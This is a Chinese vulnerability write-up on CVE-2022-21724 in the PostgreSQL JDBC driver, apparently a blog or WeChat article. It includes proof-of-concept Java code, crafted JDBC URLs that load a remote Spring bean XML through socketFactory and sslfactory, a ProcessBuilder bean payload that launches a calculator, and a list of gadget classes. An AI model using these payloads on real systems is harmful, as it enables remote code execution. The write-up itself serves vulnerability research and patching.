34;k9a0-1669876975740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zd3x-1669876975742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lEpA-1669876980137&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8BE-1669876980135&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码执行：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f4BL-1669876988555&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;goAv-1669876988554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在实例化类时会校验传入的类名是否为期望类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ixYZ-1669876964213&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/7/WEBRESOURCE36092686ed37e60bcdcfae41e3757627&#34;,&#34;width&#34;:2848,&#34;height&#34;:1488},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;loading&#34;:false,&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/7/WEBRESOURCE36092686ed37e60bcdcfae41e3757627&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2848,&#34;height&#34;:1488}}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lxoI-1669876890956&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtKA-1669876890953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;默认方法虽也可获取构造函数，但传入的args部分并不可控：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PBE9-1669877090231&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/e/WEBRESOURCEefaf9c5072424a65449ed00ff02d953e&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;loading&#34;:false,&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/e/WEBRESOURCEefaf9c5072424a65449ed00ff02d953e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816}}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wl9y-1669877045823&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ycPd-1669877045821&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;文件写入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9p5z-1669877170107&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;90RK-1669877170106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;目前已不支持该字段，改用java.util.logging来处理日志相关事项。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P8hN-1669877149227&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/a/WEBRESOURCE431eab2016dbb911d4ddd3c158e79a2a&#34;,&#34;width&#34;:1776,&#34;height&#34;:1282},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;loading&#34;:false,&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/a/WEBRESOURCE431eab2016dbb911d4ddd3c158e79a2a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1776,&#34;height&#34;:1282}}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Lik-1669800479341&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AcdR-1669800479340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKAG-1669877229484&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KpuA-1669877229485&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;两位师傅的文章写的很完整了，建议阅读：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4sNe-1669877243113&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;89zx-1669877243112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;uyu8-1669877249445&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/11812#toc-5&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EPxV-1669877249444&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/11812#toc-5&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJg3-1669877249446&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xqHE-1669877250515&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJyF-1669877250514&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;wuID-1669877255249&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://tttang.com/archive/1462/#toc_0x02-postgresql-jdbc-driver&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pGfX-1669877255248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://tttang.com/archive/1462/#toc_0x02-postgresql-jdbc-driver&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UPXc-1669877255250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]&#34;" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p><span style="font-weight: bold;font-size: 28px;">正文</span></p><p><span style="font-weight: bold;font-size: 20px;">漏洞简介</span></p><p><span style="font-weight: bold;color: rgb(247, 49, 49);">JDBC</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">一般指Java数据库连接。 Java数据库连接，（Java Database Connectivity，简称</span><span style="font-weight: bold;color: rgb(247, 49, 49);">JDBC</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">）是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">更新数据</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">库中数据的方法。</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 15px;"><em><br/></em></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 15px;"><em>CVE Detail：</em></span></p><section><span style="font-size: 15px;"><em>pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes.</em></span></section><section><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);"><br/></span></section><section><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">pgjdbc 通过一系列连接属性来实例化相关插件，但在部分实例化过程中未验证类是否实现了预期的接口，非预期类的加载可能导致远程代码执行。</span><br/></section><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">影响版本：</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">postgresql_jdbc_driver &lt;42.2.25</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">42.3.0 &lt;=postgresql_jdbc_driver &lt;=42.3.1</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-weight: bold;font-size: 20px;">漏洞复现</span></p><p>Postgresql docker环境搭建：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://blog.csdn.net/qq_35744706/article/details/124114995" target="_blank">https://blog.csdn.net/qq_35744706/article/details/124114995</a></span></p><p><br/></p><p>官方文档：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://jdbc.postgresql.org/documentation/use/" target="_blank">https://jdbc.postgresql.org/documentation/use/</a></span></p><p><span style="font-weight: bold;font-size: inherit;"><br/></span></p><p><span style="font-weight: bold;font-size: inherit;">socketFactory/socketFactoryArg 代码执行</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> test {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws SQLException {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> socketFactoryClass = <span class="code-snippet__string">&#34;org.springframework.context.support.ClassPathXmlApplicationContext&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> socketFactoryArg = <span class="code-snippet__string">&#34;<a href="http://127.0.0.1:4444/bean.xml" target="_blank">http://127.0.0.1:4444/bean.xml</a>&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> jdbcUrl = <span class="code-snippet__string">&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=&#34;</span>+socketFactoryClass+ <span class="code-snippet__string">&#34;&amp;socketFactoryArg=&#34;</span>+socketFactoryArg;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        String testURL = &#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=&#34;;</span></span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;PostgreSQL Driver Version: &#34;</span> + org.postgresql.Driver.class.getPackage().getImplementationVersion());</span></code><code><span class="code-snippet_outer">        Connection connection = DriverManager.getConnection(jdbcUrl);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        Connection test_connection = DriverManager.getConnection(testURL,&#34;postgres&#34;,&#34;password&#34;);</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 630px;height: 462px;" data-ratio="0.7287037037037037" src="https://wechat2rss.xlab.app/img-proxy/?k=5bafd6dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8LwQUds4pKPhicVOTeRFvU5AAPafGbKGic6RRqNpNaedjseDzUak7F8AQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 17px;">将参数置空找到其Exception抛出的位置：</span></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2952px;height: 1816px;" data-ratio="0.6148148148148148" src="https://wechat2rss.xlab.app/img-proxy/?k=79fda6aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8Nbdvryj9tYTxu6djrwdZrSmgdcsxiatvRJibVDNMRbteTmY2gNZM6zDw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 17px;"><span style="font-size: 17px;color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">很明显</span>SocketFactoryFactory通过getSocketFactory方法尝试加载Properties中的socketFactoryClassName，将断点打到下一步的实例化方法处填入URL重新调试：</span></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 1838px;height: 1144px;" data-ratio="0.6222222222222222" src="https://wechat2rss.xlab.app/img-proxy/?k=b6a0daa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8qKdCRyG3SRnLFcegARdauAPIZcQ26nXvajYSwMYdicwDsTkR8AT7Zfw%2F640%3Fwx_fmt%3Dpng"/></p><p>调用栈如下：</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 619px;height: 226px;" data-ratio="0.36203703703703705" src="https://wechat2rss.xlab.app/img-proxy/?k=2635fd0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8cDgJ8dPh7LJcpOmzibCIBnR1npqOYt1l9mT7jxEhpYibvgUZ0rO5RtNQ%2F640%3Fwx_fmt%3Dpng"/></p><p>跟进instantiate方法：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">Object</span> instantiate(<span class="code-snippet__built_in">String</span> classname, Properties info, <span class="code-snippet__built_in">boolean</span> tryString, <span class="code-snippet__built_in">String</span> stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">Object</span>[] args = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{info};</span></code><code><span class="code-snippet_outer">    Constructor&lt;?&gt; ctor = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    Class cls = Class.forName(classname);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        ctor = cls.getConstructor(Properties.class);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (NoSuchMethodException var9) {</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (tryString &amp;&amp; ctor == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            ctor = cls.getConstructor(<span class="code-snippet__built_in">String</span>.class);</span></code><code><span class="code-snippet_outer">            args = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>[]{stringarg};</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (NoSuchMethodException var8) {</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (ctor == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        ctor = cls.getConstructor();</span></code><code><span class="code-snippet_outer">        args = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> ctor.newInstance((<span class="code-snippet__built_in">Object</span>[])args);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>可以看到实例化的条件为，该类需存在传入参数类型为Properties或String的构造方法<span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.springframework</span><span class="code-snippet__selector-class">.context</span><span class="code-snippet__selector-class">.support</span><span class="code-snippet__selector-class">.ClassPathXmlApplicationContext</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.springframework</span><span class="code-snippet__selector-class">.context</span><span class="code-snippet__selector-class">.support</span><span class="code-snippet__selector-class">.FileSystemXmlApplicationContext</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.jxpath</span><span class="code-snippet__selector-class">.functions</span><span class="code-snippet__selector-class">.ConstructorFunction</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.jxpath</span><span class="code-snippet__selector-class">.functions</span><span class="code-snippet__selector-class">.MethodFunction</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span><span class="code-snippet__selector-class">.FileOutputStream</span></span></code></pre></section><p>Weblogic环境下可使用</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.bea</span><span class="code-snippet__selector-class">.core</span><span class="code-snippet__selector-class">.repackaged</span><span class="code-snippet__selector-class">.springframework</span><span class="code-snippet__selector-class">.context</span><span class="code-snippet__selector-class">.support</span><span class="code-snippet__selector-class">.FileSystemXmlApplicationContext</span></span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">bean.xml:</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">beans</span> <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span></span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__attr">xmlns:xsi</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__attr">xmlns:p</span>=<span class="code-snippet__string">&#34;<a href="http://www.springframework.org/schema/p" target="_blank">http://www.springframework.org/schema/p</a>&#34;</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__attr">xsi:schemaLocation</span>=<span class="code-snippet__string">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">&lt;!--    普通方式创建类--&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">bean</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;exec&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;java.lang.ProcessBuilder&#34;</span> <span class="code-snippet__attr">init-method</span>=<span class="code-snippet__string">&#34;start&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">constructor-arg</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">list</span>&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span>open<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span>-a<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span>calculator<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">list</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">constructor-arg</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">bean</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">beans</span>&gt;</span></span></code></pre></section><p>之前看xml的时候园长提到xml文件的读取其实与文件后缀无关，处理的其实是响应体中的流内容，所以无论是bean.txt还是bean与bean.xml都一样：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> jdbcUrl = <span class="code-snippet__string">&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg=<a href="http://127.0.0.1:4444/bean" target="_blank">http://127.0.0.1:4444/bean</a>&#34;</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> jdbcUrl = <span class="code-snippet__string">&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&amp;socketFactoryArg=<a href="http://127.0.0.1:4444/bean" target="_blank">http://127.0.0.1:4444/bean</a>&#34;</span></span></code><code><span class="code-snippet_outer">Connection connection = DriverManager.getConnection(jdbcUrl);</span></code></pre></section><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2850px;height: 1702px;" data-ratio="0.5972222222222222" src="https://wechat2rss.xlab.app/img-proxy/?k=5f9485b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8V8TgKyrGRO2mZrZVhH4xibibPYYeB8ib4aXEhWNx2icTpdMog52V1b1Feg%2F640%3Fwx_fmt%3Dpng"/></p><p>先知上有位师傅的流程图画的很详细：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://xz.aliyun.com/t/11812#toc-4" target="_blank">https://xz.aliyun.com/t/11812#toc-4</a></span></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 1478px;height: 910px;" data-ratio="0.6157407407407407" src="https://wechat2rss.xlab.app/img-proxy/?k=d2586c49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8nsUCrNdCkz8KicTDAb8qiaQ3X6qLib220ayH3vkAdjQlW1DItMzv4N6Bg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: inherit;">sslfactory/sslfactoryarg 代码执行</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> test2 {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws SQLException {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> SSLFactoryClass = <span class="code-snippet__string">&#34;org.springframework.context.support.ClassPathXmlApplicationContext&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> SSLFactoryClass2 = <span class="code-snippet__string">&#34;org.springframework.context.support.FileSystemXmlApplicationContext&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> SSLFactoryArg = <span class="code-snippet__string">&#34;<a href="http://127.0.0.1:4444/bean.txt" target="_blank">http://127.0.0.1:4444/bean.txt</a>&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> jdbcUrl = <span class="code-snippet__string">&#34;jdbc:postgresql://localhost:5432/postgres?sslfactory=&#34;</span>+SSLFactoryClass+ <span class="code-snippet__string">&#34;&amp;sslfactoryarg=&#34;</span>+SSLFactoryArg;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> testURL = <span class="code-snippet__string">&#34;jdbc:postgresql://localhost:5432/postgres?sslfactory=&#34;</span>;</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;PostgreSQL Driver Version: &#34;</span> + org.postgresql.Driver.class.getPackage().getImplementationVersion());</span></code><code><span class="code-snippet_outer">        Connection connection = DriverManager.getConnection(jdbcUrl);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        Connection test_connection = DriverManager.getConnection(testURL,&#34;postgres&#34;,&#34;password&#34;);</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 644px;height: 430px;" data-ratio="0.6657407407407407" src="https://wechat2rss.xlab.app/img-proxy/?k=bcf220bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8gg1CpzKWefgEy6CGqeS2G5Pf15syHYcNCByJywSY7pQjQ8kzUcTznA%2F640%3Fwx_fmt%3Dpng"/></p><p>根据描述猜测此处建立连接时会尝试实例化一个SSLSocketFactory对象来处理此次请求。</p><p>同样置空url查看报错函数位置：</p><p>在Driver类的connect方法中，找到正常逻辑下调用的makeConnection方法打下断点重新调试：</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2952px;height: 1816px;" data-ratio="0.6148148148148148" 